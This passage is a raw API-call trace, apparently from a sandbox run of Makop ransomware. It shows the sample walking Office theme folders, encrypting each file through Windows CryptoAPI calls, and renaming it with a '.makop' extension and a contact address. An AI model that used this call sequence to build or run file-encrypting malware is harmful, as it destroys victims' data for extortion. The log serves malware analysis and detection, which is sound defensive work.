pbData=0x6370020*, pdwDataLen=0x6576010*=0x166e0, dwBufLen=0x166e0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x166e0) returned 1 [0098.702] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.702] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x166e0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x166e0, lpOverlapped=0x0) returned 1 [0098.703] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.703] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x167b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.703] SetEndOfFile (hFile=0x138) returned 1 [0098.711] GetProcessHeap () returned 0x48a0000 [0098.711] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0098.711] GetProcessHeap () returned 0x48a0000 [0098.711] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0098.711] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0098.712] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0098.713] CloseHandle (hObject=0x138) returned 1 [0098.713] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS.INF", cAlternateFileName="")) returned 1 [0098.713] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF") returned 75 [0098.713] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.715] GetProcessHeap () returned 0x48a0000 [0098.715] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0098.715] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0098.715] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0098.716] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xc, lpOverlapped=0x0) returned 1 [0098.719] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.719] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.719] GetProcessHeap () returned 0x48a0000 [0098.719] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0098.719] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0098.720] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.720] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0098.720] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0098.720] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0098.720] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0098.720] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0098.721] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0098.721] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.721] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.721] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.721] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1f4, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x1f4, lpOverlapped=0x0) returned 1 [0098.721] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x200, dwBufLen=0x200 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x200) returned 1 [0098.721] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.722] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x200, lpOverlapped=0x0) returned 1 [0098.722] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.722] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x2d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.722] SetEndOfFile (hFile=0x138) returned 1 [0098.728] GetProcessHeap () returned 0x48a0000 [0098.728] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0098.728] GetProcessHeap () returned 0x48a0000 [0098.728] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0098.728] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0098.728] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0098.734] CloseHandle (hObject=0x138) returned 1 [0098.734] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0098.734] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0098.734] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.735] GetProcessHeap () returned 0x48a0000 [0098.735] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0098.735] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0098.735] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0098.735] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x2, lpOverlapped=0x0) returned 1 [0098.744] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.744] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.744] GetProcessHeap () returned 0x48a0000 [0098.744] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0098.744] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0098.744] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.744] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0098.744] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0098.744] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0098.744] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0098.745] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0098.745] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0098.745] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.745] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.745] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.746] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa0e, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xa0e, lpOverlapped=0x0) returned 1 [0098.746] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xa10, dwBufLen=0xa10 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xa10) returned 1 [0098.746] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.746] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xa10, lpOverlapped=0x0) returned 1 [0098.746] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.746] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xae4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.746] SetEndOfFile (hFile=0x138) returned 1 [0098.753] GetProcessHeap () returned 0x48a0000 [0098.753] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0098.753] GetProcessHeap () returned 0x48a0000 [0098.753] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0098.753] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0098.753] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0098.754] CloseHandle (hObject=0x138) returned 1 [0098.755] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0098.755] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0098.755] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.755] GetProcessHeap () returned 0x48a0000 [0098.755] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0098.756] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0098.756] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0098.756] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.756] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.756] GetProcessHeap () returned 0x48a0000 [0098.756] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0098.756] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0098.756] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.756] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0098.763] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0098.763] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0098.763] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0098.763] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0098.764] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0098.764] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.764] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.764] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.764] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9240, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x9240, lpOverlapped=0x0) returned 1 [0098.766] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x9240, dwBufLen=0x9240 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x9240) returned 1 [0098.766] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.766] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9240, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x9240, lpOverlapped=0x0) returned 1 [0098.767] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.767] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x9314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.767] SetEndOfFile (hFile=0x138) returned 1 [0098.774] GetProcessHeap () returned 0x48a0000 [0098.774] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0098.774] GetProcessHeap () returned 0x48a0000 [0098.774] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0098.774] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0098.774] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0098.775] CloseHandle (hObject=0x138) returned 1 [0098.776] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0098.776] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0098.776] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL", cAlternateFileName="")) returned 1 [0098.777] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL") returned 61 [0098.777] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*.*") returned 65 [0098.777] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0098.777] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.777] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a2e300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a2e300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd0e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL.ELM", cAlternateFileName="")) returned 1 [0098.777] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM") returned 71 [0098.778] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.778] GetProcessHeap () returned 0x48a0000 [0098.778] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0098.778] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0098.778] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0098.778] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, 